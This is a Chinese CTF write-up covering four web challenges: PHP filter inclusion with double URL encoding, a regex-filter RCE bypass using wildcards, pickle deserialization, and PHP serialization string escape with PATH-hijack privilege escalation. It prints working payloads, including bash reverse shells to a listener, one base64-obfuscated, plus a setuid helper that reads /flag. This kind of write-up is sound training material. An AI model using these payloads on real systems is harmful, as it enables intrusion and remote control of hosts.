暑期结束赛

simple_php

知识点:文件包含 ,二次编码。

打开题目环境
09be373dfcb8d8d8.png

过滤了许多

我们使用伪协议

我们给base字符中的b二次url加密%2562即可绕过

1
url/?file=php://filter/read=convert.%2562ase64-encode/resource=/flag.php

20655dabc57d9e2b.png

之后base64解码

ca97df3ea64393b5.png

ok,解决

ez RCE

知识点: rce绕过通配符及环境变量调用命令使用

打开题目环境

248fc86a27b85178.png

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-8]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*p.*a.*s.*t.*e.*|.*u.*n.*i.*q.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|.*g.*r.*e.*p.*|.*r.*e.*v.*|.*v.*i.*|.*b.*a.*s.*e.*|\'|\"|\`|\%|\:|\{|\}|\||\^|\&|\.|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

可以参考ctfshow web54类似我们可以分析看

这回是真正意义上的禁用了这些命令了,以前还能通过中间添加一些特殊符号来绕过的,现在是完全不能使用了,毕竟 . 后面跟上一个通配符后,就完全不能在中间加点什么了

像这种可以选择使用之前讲过的一种用?通配符来构造的方式,如

1
2
3
4
5
对flag.php的构造可以这样:fl??.???
甚至可以简化为:????????

同样,命令也可以进行构造
cat可以构造为?at、c??

所以根据这个我们能构造payload:

1
2
?c=/bin/c??$IFS/????????
这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

出现回显flag

0e0df26bb75a32a0.png

ez python

知识点:python pickle反序列化

打开题目环境

我们找到提示

f8e80ca4c5b88838.png

/pick1e 访问后出现回显

4dbd0fe97c28e4f0.png

根据提示我们解码

尊都假嘟解码

79dd4aec2bd746e8.png

之后随波逐流工具解码

二栏

bcfce12c048a1cc0.png

然后继续解码

d587f4295c6179fd.png

1
/src0de

访问看看

78dc185007aa10e9.png

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

# 路由处理函数,处理 pick1e cookie
@app.route('/pick1e')
def pick1e():
try:
username = "admin"
rsp = make_response("OK U @ %s " % username)
rsp.headers['hint'] = "Source in ÖvÖ O.o ov0 Ö_0 Övo 0v0 0.o o.0 Öwo owÖ 0v0 ovO o.O ow0 O.o o.0"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp

if pick1e:
if (b'R' in pick1e):
return 'NO REDUCE!!!'
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"

except Exception as e:
error_message = str(e)
return error_message

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

分析路由信息

我们是在/src0de路由下可以看到源码这些

我们在/pick1e 是进行pick1e反序列化漏洞

pickle.loads造成rce,反弹shell

我们构造payload 然后base64 加密

1
2
3
4
(S'bash -c "bash -i >& /dev/tcp/ip/2336 0>&1"'
ios
system
.

23ece2fb786ee132.png

然后回到/pick1e 目录下添加cookie

然后抓包

0f62c8e13e5387fb.png

先监听端口

1
nc -lvnp 3389

e2629a2271b5383c.png

然后发包
连接成功

我们是root权限所以找根目录的flag

1233cbfab5cf8ec1.png

ok解决

总结:一开始卡了编码之后网上找到相似脚本我们就跟着来

一步步操作就出了,还是不牢固需要多代码审计。

ez_php

知识点:php字符串逃逸+提权

打开题目环境

ac72c00943840594.png

提示去到/shell.php

521f7c7a978457a6.png

出现回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
$code = file_get_contents(__FILE__);
highlight_string($code);

class CTFer
{
public $work;
public $awarding = "salary";

public function __construct($a)
{
$this ->work = $a;
echo "你是?";
}
}

function filter($name)
{
$safe = "okk";
$name = str_replace($safe, "Nook", $name);
return $name;
}

if (isset($_GET["payload"]))
{
$a = filter(serialize(new CTFer($_GET["payload"])));
var_dump($a);
if(unserialize($a) -> awarding == "pennant")
{
$shell=$_GET["shell"];
system($shell);
}
}

反序列化,字符串逃逸

我们构造payload

1
payload=okkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkok&kokkokkokkokk";s:8:"awarding";s:7:"pennant";}&shell=ls

出现回显

6da3e19e1666835e.png

我们利用shell变量来命令执行

我们构造反弹shell

1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEzLjE2LjI0NC8zMzg5IDA+JjE=}|{base64,-d}|{bash,-i}'

然后再给全部url加密

1
bash+-c+%27%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xLjEzLjE2LjI0NC8zMzg5IDA%2bJjE%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27

先监听后发包

出现回显

a228f7949bfa7c06.png

848cf565baeadc81.png

尝试找flag但是没权限

ed82aeb716c8af41.png

我们现在先看看其他文件

发现可疑文件list执行看看

7b271f1f5f2c6c0a.png

报错了,Is没有对应的文件夹,说明调用了system(“Is /var/www/html/upload”)

我们去到/tmp目录

创建.c文件

1
2
3
4
5
6
echo '#include<unistd.h>
void main(){
setuid(0);
setuid(0);
system("cat /flag");
}' > lwj.c

给它命名为 lwj.c

f39754eba3a9b780.png

继续操作执行它

1
gcc lwj.c -o lwj

fde1a1ee9bcdb64b.png

再之后我们试着执行这个lwj程序

没有权限

bcb5e89b7a83110c.png

于是我们

1
2
3
4
命令: export PATH=/tmp:$PATH
export PATH=:export 是一个 shell 命令,用于设置或导出环境变量。PATH 是一个特殊的环境变量,它包含了一系列目录路径,用冒号分隔,系统会在这些路径中查找可执行文件。

/tmp:$PATH:这里是一个赋值语句,将 /tmp 目录添加到现有的 PATH 变量之前。在 Unix/Linux 系统中,/tmp 是一个临时目录,经常用来存放临时文件。冒号 : 是 PATH 变量中不同路径的分隔符,所以这条命令的效果是将 /tmp 添加到 PATH 变量的开头。

之后我们回到根目录执行list文件

bc95a2f57aa5b6a1.png

问题解决

总结:还是得多研究研究,不会的尽量找知识点学习。